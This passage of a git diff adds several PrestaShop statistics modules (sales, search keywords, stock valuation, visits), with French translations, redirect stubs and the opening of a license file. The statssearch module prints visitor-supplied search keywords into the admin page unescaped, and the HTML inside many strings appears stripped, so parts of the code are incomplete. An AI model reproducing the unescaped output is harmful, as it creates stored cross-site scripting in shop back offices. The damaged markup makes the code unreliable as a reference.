COUNT(oh.`id_order`) as total + FROM `'._DB_PREFIX_.'order_state` os + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)($this->getLang()).') + LEFT JOIN `'._DB_PREFIX_.'order_history` oh ON os.`id_order_state` = oh.`id_order_state` + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.`id_order` = oh.`id_order` + '.((int)($this->id_country) ? 'LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_delivery = a.id_address' : '').' + WHERE oh.`id_order_history` = ( + SELECT ios.`id_order_history` + FROM `'._DB_PREFIX_.'order_history` ios + WHERE ios.`id_order` = oh.`id_order` + ORDER BY ios.`date_add` DESC, oh.`id_order_history` DESC + LIMIT 1 + ) + '.((int)($this->id_country) ? 'AND a.id_country = '.(int)($this->id_country) : '').' + AND o.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + GROUP BY oh.`id_order_state`'); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = $row['name']; + } + } +} diff --git a/modules/statssales/translations/en.php b/modules/statssales/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statssales/translations/fr.php b/modules/statssales/translations/fr.php new file mode 100755 index 0000000..4de8bac --- /dev/null +++ b/modules/statssales/translations/fr.php @@ -0,0 +1,25 @@ +statssales_45c4b3e103155326596d6ccd2fea0f25'] = 'Commandes et CA'; +$_MODULE['<{statssales}prestashop>statssales_f57f893f9fbc11843fd4c9997ec41824'] = 'Affiche l\'évolution du chiffre d\'affaires et la répartition des commandes par leurs états.'; +$_MODULE['<{statssales}prestashop>statssales_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tout afficher'; +$_MODULE['<{statssales}prestashop>statssales_d7778d0c64b6ba21494c97f77a66885a'] = 'Filtrer'; +$_MODULE['<{statssales}prestashop>statssales_35214bc44485bc7161f9d1bdbacad5b8'] = 'Ces graphiques représentent l\'évolution de vos commandes et chiffre d\'affaires pour une période donnée. Ce n\'est pas un outil d\'analyse avancé mais il vous permet toutefois de visualiser la rentabilité de votre boutique en un clin d’œil. Vous pouvez également comparer les ventes entre différentes périodes (Noël, ...). Seules les commandes valides sont inclues dans ces deux graphes.'; +$_MODULE['<{statssales}prestashop>statssales_9ccb8353e945f1389a9585e7f21b5a0d'] = 'Commandes passées :'; +$_MODULE['<{statssales}prestashop>statssales_156e5c5872c9af24a5c982da07a883c2'] = 'Produits commandés :'; +$_MODULE['<{statssales}prestashop>statssales_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statssales}prestashop>statssales_ec3e48bb9aa902ba2ad608547fdcbfdc'] = 'Chiffre d\'affaires :'; +$_MODULE['<{statssales}prestashop>statssales_14b2ae2d824b5dfd798a8caf35732136'] = 'La répartition des états de commande est représentée ci-dessous.'; +$_MODULE['<{statssales}prestashop>statssales_da80af4de99df74dd59e665adf1fac8f'] = 'Aucune commande pour cette période'; +$_MODULE['<{statssales}prestashop>statssales_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statssales}prestashop>statssales_75288849ad081e6ef15e00c37b7570f2'] = 'Plusieurs statuts de commande'; +$_MODULE['<{statssales}prestashop>statssales_ecfa88580e342ade21a8403765c0dde6'] = 'Au sein de votre back-office, plusieurs états de commande sont disponibles : En attente du paiement par chèque, Paiement accepté, Préparation en cours, En cours de livraison, Livré, Annulé, Remboursé, Erreur de paiement, Produits indisponibles et En attente du paiement par virement bancaire.'; +$_MODULE['<{statssales}prestashop>statssales_d60bf28bef003143f1b95edbbc08cd68'] = 'Ces états ne peuvent être supprimés depuis le back-office, cependant vous pouvez en ajouter de nouveaux.'; +$_MODULE['<{statssales}prestashop>statssales_bb7ad89807bf69ddca986c142311f936'] = 'Commandes et produits'; +$_MODULE['<{statssales}prestashop>statssales_12c500ed0b7879105fb46af0f246be87'] = 'Commandes'; +$_MODULE['<{statssales}prestashop>statssales_b52b44c9d23e141b067d7e83b44bb556'] = 'Produits'; +$_MODULE['<{statssales}prestashop>statssales_14f1c54626d722168ee62dff05ed811e'] = 'Chiffre d\'affaires en'; +$_MODULE['<{statssales}prestashop>statssales_b63d7e91b286748a447bf3573dbc9bfb'] = 'Pourcentage de commandes par état'; diff --git a/modules/statssales/translations/index.php b/modules/statssales/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statssales/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statssearch/index.php b/modules/statssearch/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statssearch/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statssearch/logo.gif b/modules/statssearch/logo.gif new file mode 100755 index 0000000..d5dd1e7 Binary files /dev/null and b/modules/statssearch/logo.gif differ diff --git a/modules/statssearch/logo.png b/modules/statssearch/logo.png new file mode 100755 index 0000000..df2085e Binary files /dev/null and b/modules/statssearch/logo.png differ diff --git a/modules/statssearch/statssearch.php b/modules/statssearch/statssearch.php new file mode 100755 index 0000000..93a5b02 --- /dev/null +++ b/modules/statssearch/statssearch.php @@ -0,0 +1,155 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsSearch extends ModuleGraph +{ + private $_html = ''; + private $_query = ''; + private $_query2 = ''; + + public function __construct() + { + $this->name = 'statssearch'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_query = 'SELECT `keywords`, COUNT(TRIM(`keywords`)) as occurences, MAX(results) as total + FROM `'._DB_PREFIX_.'statssearch` + WHERE 1 + '.Shop::addSqlRestriction().' + AND `date_add` BETWEEN '; + + $this->_query2 = 'GROUP BY `keywords` + HAVING occurences > 1 + ORDER BY occurences DESC'; + + $this->displayName = $this->l('Shop search'); + $this->description = $this->l('Display which keywords have been searched by your store\'s visitors.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('search') || !$this->registerHook('AdminStatsModules')) + return false; + return Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'statssearch` ( + id_statssearch INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, + id_shop INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + id_shop_group INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + keywords VARCHAR(255) NOT NULL, + results INT(6) NOT NULL DEFAULT 0, + date_add DATETIME NOT NULL, + PRIMARY KEY(id_statssearch) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'); + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + return (Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'statssearch`')); + } + + /** + * Insert keywords in statssearch table when a search is launched on FO + */ + public function hookSearch($params) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'statssearch` (`id_shop`, `id_shop_group`, `keywords`, `results`, `date_add`) + VALUES ('.(int)$this->context->shop->id.', '.(int)$this->context->shop->id_shop_group.', \''.pSQL($params['expr']).'\', '.(int)$params['total'].', NOW())'; + Db::getInstance()->execute($sql); + } + + public function hookAdminStatsModules() + { + if (Tools::getValue('export')) + $this->csvExport(array('type' => 'pie')); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.ModuleGraph::getDateBetween().$this->_query2); + $this->_html = ' +

        '.$this->displayName.'

        '; + $table = '
        + + + + + + + + '; + + foreach ($result as $row) + { + if (Tools::strlen($row['keywords']) >= Configuration::get('PS_SEARCH_MINWORDLEN')) + $table .= ' + + + + '; + } + $table .= '
        '.$this->l('Keywords').''.$this->l('Occurrences').''.$this->l('Results').'
        '.$row['keywords'].''.$row['occurences'].''.$row['total'].'
        '; + + if (count($result)) + $this->_html .= '
        '.$this->engine(array('type' => 'pie')).'
        +

        '.$this->l('CSV Export').'

        +
        '.$table; + else + $this->_html .= '

        '.$this->l('No keywords searched more than once have been found.').'

        '; + $this->_html .= '
        '; + return $this->_html; + } + + protected function getData($layers) + { + $this->_titles['main'] = $this->l('Top 10 keywords'); + $totalResult = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + $total = 0; + $total2 = 0; + foreach ($totalResult as $totalRow) + $total += $totalRow['occurences']; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2.' LIMIT 9'); + foreach ($result as $row) + { + if (!$row['occurences']) + continue; + $this->_legend[] = $row['keywords']; + $this->_values[] = $row['occurences']; + $total2 += $row['occurences']; + } + if ($total > $total2) + { + $this->_legend[] = $this->l('Others'); + $this->_values[] = $total - $total2; + } + } +} \ No newline at end of file diff --git a/modules/statssearch/translations/en.php b/modules/statssearch/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statssearch/translations/fr.php b/modules/statssearch/translations/fr.php new file mode 100755 index 0000000..2489e0b --- /dev/null +++ b/modules/statssearch/translations/fr.php @@ -0,0 +1,14 @@ +statssearch_8c3c245232744602822902b97e65d6f9'] = 'Recherches de la boutique'; +$_MODULE['<{statssearch}prestashop>statssearch_a29d1afff7134121b6e55590e038caa8'] = 'Affiche les mots-clés recherchés par vos visiteurs'; +$_MODULE['<{statssearch}prestashop>statssearch_867343577fa1f33caa632a19543bd252'] = 'Mots clés'; +$_MODULE['<{statssearch}prestashop>statssearch_e52e6aa1a43a0187e44f048f658db5f9'] = 'Occurences'; +$_MODULE['<{statssearch}prestashop>statssearch_fd69c5cf902969e6fb71d043085ddee6'] = 'Résultats'; +$_MODULE['<{statssearch}prestashop>statssearch_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statssearch}prestashop>statssearch_eebd23d2b8567d0d92496ac99dcd343e'] = 'Aucun mot-clé recherché plus d\'une fois.'; +$_MODULE['<{statssearch}prestashop>statssearch_e15832aa200f342e8f4ab580b43a72a8'] = '10 premiers mots-clés'; +$_MODULE['<{statssearch}prestashop>statssearch_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/modules/statssearch/translations/index.php b/modules/statssearch/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statssearch/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsstock/index.php b/modules/statsstock/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsstock/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsstock/logo.gif b/modules/statsstock/logo.gif new file mode 100755 index 0000000..be2d2d6 Binary files /dev/null and b/modules/statsstock/logo.gif differ diff --git a/modules/statsstock/logo.png b/modules/statsstock/logo.png new file mode 100755 index 0000000..f1a0674 Binary files /dev/null and b/modules/statsstock/logo.png differ diff --git a/modules/statsstock/statsstock.php b/modules/statsstock/statsstock.php new file mode 100755 index 0000000..8bb57b2 --- /dev/null +++ b/modules/statsstock/statsstock.php @@ -0,0 +1,147 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsStock extends Module +{ + private $html = ''; + + public function __construct() + { + $this->name = 'statsstock'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Stats on available quantities.'); + $this->description = ''; + } + + public function install() + { + return parent::install() && $this->registerHook('AdminStatsModules'); + } + + public function hookAdminStatsModules() + { + if (Tools::isSubmit('submitCategory')) + $this->context->cookie->statsstock_id_category = Tools::getValue('statsstock_id_category'); + + $ru = AdminController::$currentIndex.'&module='.$this->name.'&token='.Tools::getValue('token'); + $currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + $filter = ((int)$this->context->cookie->statsstock_id_category ? ' AND p.id_product IN (SELECT cp.id_product FROM '._DB_PREFIX_.'category_product cp WHERE cp.id_category = '.(int)$this->context->cookie->statsstock_id_category.')' : ''); + + $sql = 'SELECT p.id_product, p.reference, pl.name, + IFNULL(( + SELECT AVG(product_attribute_shop.wholesale_price) + FROM '._DB_PREFIX_.'product_attribute pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE p.id_product = pa.id_product + AND product_attribute_shop.wholesale_price != 0 + ), product_shop.wholesale_price) as wholesale_price, + IFNULL(stock.quantity, 0) as quantity + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + INNER JOIN '._DB_PREFIX_.'product_lang pl + ON (p.id_product = pl.id_product AND pl.id_lang = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('pl').') + '.Product::sqlStock('p', 0).' + WHERE 1 = 1 + '.$filter; + $products = Db::getInstance()->executeS($sql); + + foreach ($products as $key => $p) + { + $products[$key]['stockvalue'] = $p['wholesale_price'] * $p['quantity']; + } + + $this->html .= ' + +

        '.$this->l('Evaluation of available quantities for sale.').'

        +
        + + '.$this->l('Category').' : +

        '; + + if (!count($products)) + $this->html .= $this->l('Your catalog is empty.'); + else + { + $rollup = array('quantity' => 0, 'wholesale_price' => 0, 'stockvalue' => 0); + $this->html .= ' + + + + + + + + '; + foreach ($products as $product) + { + $rollup['quantity'] += $product['quantity']; + $rollup['wholesale_price'] += $product['wholesale_price']; + $rollup['stockvalue'] += $product['stockvalue']; + $this->html .= ' + + + + + + + '; + } + $this->html .= ' + + + + + + + + + + + + +
        '.$this->l('ID').''.$this->l('Ref.').''.$this->l('Item').''.$this->l('Available quantity for sale').''.$this->l('Price*').''.$this->l('Value').'
        '.$product['id_product'].''.$product['reference'].''.$product['name'].''.$product['quantity'].''.Tools::displayPrice($product['wholesale_price'], $currency).''.Tools::displayPrice($product['stockvalue'], $currency).'
        '.$this->l('Total quantities').''.$this->l('Avg price').''.$this->l('Total value').'
        '.$rollup['quantity'].''.Tools::displayPrice($rollup['wholesale_price'] / count($products), $currency).''.Tools::displayPrice($rollup['stockvalue'], $currency).'
        +

        * '.$this->l('This section corresponds to the default wholesale price according to the default supplier for the product. An average price is used when the product has attributes.').'

        '; + + return $this->html; + } + } +} \ No newline at end of file diff --git a/modules/statsstock/translations/en.php b/modules/statsstock/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsstock/translations/fr.php b/modules/statsstock/translations/fr.php new file mode 100755 index 0000000..35dc885 --- /dev/null +++ b/modules/statsstock/translations/fr.php @@ -0,0 +1,20 @@ +statsstock_4416eb048e458e909c65b5210cee2b83'] = 'Quantités statistiques disponibles'; +$_MODULE['<{statsstock}prestashop>statsstock_f27f89ed1aeb8108c091677cf7b99c28'] = 'Quantités disponibles pour la valorisation de la vente'; +$_MODULE['<{statsstock}prestashop>statsstock_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Catégorie'; +$_MODULE['<{statsstock}prestashop>statsstock_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statsstock}prestashop>statsstock_1b2379801de373b6b563c347014fb34b'] = 'Votre catalogue est vide.'; +$_MODULE['<{statsstock}prestashop>statsstock_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statsstock}prestashop>statsstock_12d3c7a4296542c62474856ec452c045'] = 'Réf.'; +$_MODULE['<{statsstock}prestashop>statsstock_7d74f3b92b19da5e606d737d339a9679'] = 'Article'; +$_MODULE['<{statsstock}prestashop>statsstock_7bd5825a187064017975513b95d7f7de'] = 'Quantité disponible à la vente'; +$_MODULE['<{statsstock}prestashop>statsstock_88940d60e75cf4ff38ce27db4efc83b2'] = 'Prix*'; +$_MODULE['<{statsstock}prestashop>statsstock_689202409e48743b914713f96d93947c'] = 'Valeur'; +$_MODULE['<{statsstock}prestashop>statsstock_347cbf03d737b02a70a96ff204c22fbc'] = 'Total des quantités'; +$_MODULE['<{statsstock}prestashop>statsstock_4364f8c09d7bf97996a20840900e7b30'] = 'Prix moyen'; +$_MODULE['<{statsstock}prestashop>statsstock_62668f75fc6977f3d09df632d1585d07'] = 'Valeur total'; +$_MODULE['<{statsstock}prestashop>statsstock_a9873f90f06f9e2cfa3d048298ecca8c'] = 'Correspond au prix de vente par défaut selon le fournisseur par défaut du produit. Un prix moyen est utilisé quand le produit possède des déclinaisons.'; diff --git a/modules/statsstock/translations/index.php b/modules/statsstock/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsstock/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsvisits/index.php b/modules/statsvisits/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsvisits/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsvisits/logo.gif b/modules/statsvisits/logo.gif new file mode 100755 index 0000000..fb73d71 Binary files /dev/null and b/modules/statsvisits/logo.gif differ diff --git a/modules/statsvisits/logo.png b/modules/statsvisits/logo.png new file mode 100755 index 0000000..6d14c72 Binary files /dev/null and b/modules/statsvisits/logo.png differ diff --git a/modules/statsvisits/statsvisits.php b/modules/statsvisits/statsvisits.php new file mode 100755 index 0000000..c9f7d24 --- /dev/null +++ b/modules/statsvisits/statsvisits.php @@ -0,0 +1,179 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsVisits extends ModuleGraph +{ + private $html = ''; + private $_query = ''; + private $_query2 = ''; + private $_option; + + public function __construct() + { + $this->name = 'statsvisits'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Visits and Visitors'); + $this->description = $this->l('Displays statistics about your visits and visitors.'); + } + + public function install() + { + return parent::install() && $this->registerHook('AdminStatsModules'); + } + + public function getTotalVisits() + { + $sql = 'SELECT COUNT(c.`id_connections`) + FROM `'._DB_PREFIX_.'connections` c + WHERE c.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(false, 'c'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function getTotalGuests() + { + $sql = 'SELECT COUNT(DISTINCT c.`id_guest`) + FROM `'._DB_PREFIX_.'connections` c + WHERE c.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(false, 'c'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function hookAdminStatsModules($params) + { + $graphParams = array( + 'layers' => 2, + 'type' => 'line', + 'option' => 3, + ); + + $totalVisits = $this->getTotalVisits(); + $totalGuests = $this->getTotalGuests(); + if (Tools::getValue('export')) + $this->csvExport(array('layers' => 2, 'type' => 'line', 'option' => 3)); + $this->html = ' +

        '.$this->displayName.'

        +

        + '.$this->l('A visit corresponds to an internet user coming to your shop, and until the end of their session, only one visit is counted.').' + '.$this->l('A visitor is an unknown person who has not registered or logged into your store. A visitor can also be considered a person who has visited your shop multiple times.').' +

        +
        +

        '.$this->l('Total visits:').' '.$totalVisits.'

        +

        '.$this->l('Total visitors:').' '.$totalGuests.'

        + '.($totalVisits ? $this->engine($graphParams).'

        '.$this->l('CSV Export').'

        ' : '').' +
        +
        +

        '.$this->l('Guide').'

        +

        '.$this->l('Determine the interest of a visit.').'

        + '.$this->l('The visitors\' evolution graph strongly resembles the visits\' graph, but provides additional information:').'
        +
          +
        • '.$this->l('If this is the case, congratulations, your website is well planned and pleasing. Glad to see that you\'ve been paying attention.').'
        • +
        • '.$this->l('Otherwise, the conclusion is not so simple. The problem can be aesthetic or ergonomic. It is also possible that many visitors have mistakenly visited your URL without possessing a particular interest in your shop. This strange and ever-confusing phenomenon is most likely cause by search engines. If this is the case, you should consider revising your SEO structure.').'
        • +
        + '.$this->l('This information is mostly qualitative. It is up to you to determine the interest of a disjointed visit.').'
        +
        '; + + return $this->html; + } + + public function setOption($option, $layers = 1) + { + switch ($option) + { + case 3: + $this->_titles['main'][0] = $this->l('Number of visits and unique visitors'); + $this->_titles['main'][1] = $this->l('Visits'); + $this->_titles['main'][2] = $this->l('Visitors'); + $this->_query[0] = 'SELECT date_add, COUNT(`date_add`) as total + FROM `'._DB_PREFIX_.'connections` + WHERE 1 + '.Shop::addSqlRestriction().' + AND `date_add` BETWEEN '; + $this->_query[1] = 'SELECT date_add, COUNT(DISTINCT `id_guest`) as total + FROM `'._DB_PREFIX_.'connections` + WHERE 1 + '.Shop::addSqlRestriction().' + AND `date_add` BETWEEN '; + break; + } + } + + protected function getData($layers) + { + $this->setDateGraph($layers, true); + } + + protected function setAllTimeValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i].$this->getDate().' GROUP BY LEFT(date_add, 4)'); + foreach ($result as $row) + $this->_values[$i][(int)substr($row['date_add'], 0, 4)] = (int)$row['total']; + } + } + + protected function setYearValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i].$this->getDate().' GROUP BY LEFT(date_add, 7)'); + foreach ($result as $row) + $this->_values[$i][(int)substr($row['date_add'], 5, 2)] = (int)$row['total']; + } + } + + protected function setMonthValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i].$this->getDate().' GROUP BY LEFT(date_add, 10)'); + foreach ($result as $row) + $this->_values[$i][(int)substr($row['date_add'], 8, 2)] = (int)$row['total']; + } + } + + protected function setDayValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i].$this->getDate().' GROUP BY LEFT(date_add, 13)'); + foreach ($result as $row) + $this->_values[$i][(int)substr($row['date_add'], 11, 2)] = (int)$row['total']; + } + } +} + + diff --git a/modules/statsvisits/translations/en.php b/modules/statsvisits/translations/en.php new file mode 100755 index 0000000..3a8c764 --- /dev/null +++ b/modules/statsvisits/translations/en.php @@ -0,0 +1,5 @@ +statsvisits_e90d50ca1e68dc66c97bd62929dcbaf1'] = 'The visitors\' evolution graph strongly resembles the visits\' graph, but provides additional information:'; diff --git a/modules/statsvisits/translations/fr.php b/modules/statsvisits/translations/fr.php new file mode 100755 index 0000000..a3f90d8 --- /dev/null +++ b/modules/statsvisits/translations/fr.php @@ -0,0 +1,21 @@ +statsvisits_504c16c26a96283f91fb46a69b7c8153'] = 'Visites et visiteurs'; +$_MODULE['<{statsvisits}prestashop>statsvisits_5d2b93d36c456f9dc204de59d789b777'] = 'Propose des graphiques montrant l\'évolution de vos visites et visiteurs.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_b8901fb7bbfaf9b0c4724343c7cd1f90'] = 'Une visite correspond au passage d\'un internaute sur votre boutique. Une seule visite est comptée pour toute la durée de sa session.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_f43a4cf6dcc4ec617d2296d03d26c90f'] = 'On appelle visiteur une personne inconnue - non inscrite ou non connectée - naviguant sur votre boutique. Un visiteur peut donc visiter votre boutique plusieurs fois.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_54067074d24489ddb5654bf46642cb85'] = 'Nombre total de visites'; +$_MODULE['<{statsvisits}prestashop>statsvisits_23e640d55e56db79971918936e95bf9d'] = 'Nombre total de visiteurs'; +$_MODULE['<{statsvisits}prestashop>statsvisits_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsvisits}prestashop>statsvisits_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsvisits}prestashop>statsvisits_0dc434050b01c74f7a64820f84b9f464'] = 'Déterminez l\'intérêt d\'une visite'; +$_MODULE['<{statsvisits}prestashop>statsvisits_e90d50ca1e68dc66c97bd62929dcbaf1'] = 'Le graphique d\'évolution visiteurs ressemble fortement au graphique des visites, mais fournit des informations supplémentaires:'; +$_MODULE['<{statsvisits}prestashop>statsvisits_e9849ece0b2ecf1eea74d92d492a47f2'] = 'Si c\'est le cas, alors félicitations, votre site est bien conçu et plaît indéniablement.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_c745121a98cf1d5b26bc5299d9880d5c'] = 'Dans le cas contraire, la conclusion n\'est pas si simple. Le problème peut être esthétique ou ergonomique, ou alors l\'offre insuffisante. Il se peut également que ces visiteurs soient arrivées là par erreur, sans intérêt particulier pour votre boutique ; ce phénomène arrive couramment avec les moteurs de recherche.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_9bf5a493522a65d550f096505874873b'] = 'Cette information est surtout qualitative : c\'est à vous de déterminer l\'intérêt d\'une visite sans suite.'; +$_MODULE['<{statsvisits}prestashop>statsvisits_39b960b0a5e2ebaaa638d946f1892050'] = 'Nombre de visites et visiteurs uniques'; +$_MODULE['<{statsvisits}prestashop>statsvisits_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsvisits}prestashop>statsvisits_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; diff --git a/modules/statsvisits/translations/index.php b/modules/statsvisits/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsvisits/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/systempay/LICENSE.txt b/modules/systempay/LICENSE.txt new file mode 100755 index 0000000..e374ae4 --- /dev/null +++ b/modules/systempay/LICENSE.txt @@ -0,0 +1,148 @@ +Open Software License v. 3.0 (OSL-3.0) + +This Open Software License (the "License") applies to any original work of authorship (the "Original Work") +whose owner (the "Licensor") has placed the following licensing notice adjacent to the copyright notice for +the Original Work: + +Licensed under the Open Software License version 3.0 + +1) Grant of Copyright License. Licensor grants You a worldwide, royalty-free, non-exclusive, +sublicensable license, for the duration of the copyright, to do the following: + + a) to reproduce the Original Work in copies, either alone or as part of a collective work; + + b) to translate, adapt, alter, transform, modify, or arrange the Original Work, thereby + creating derivative works ("Derivative Works") based upon the Original Work; + + c) 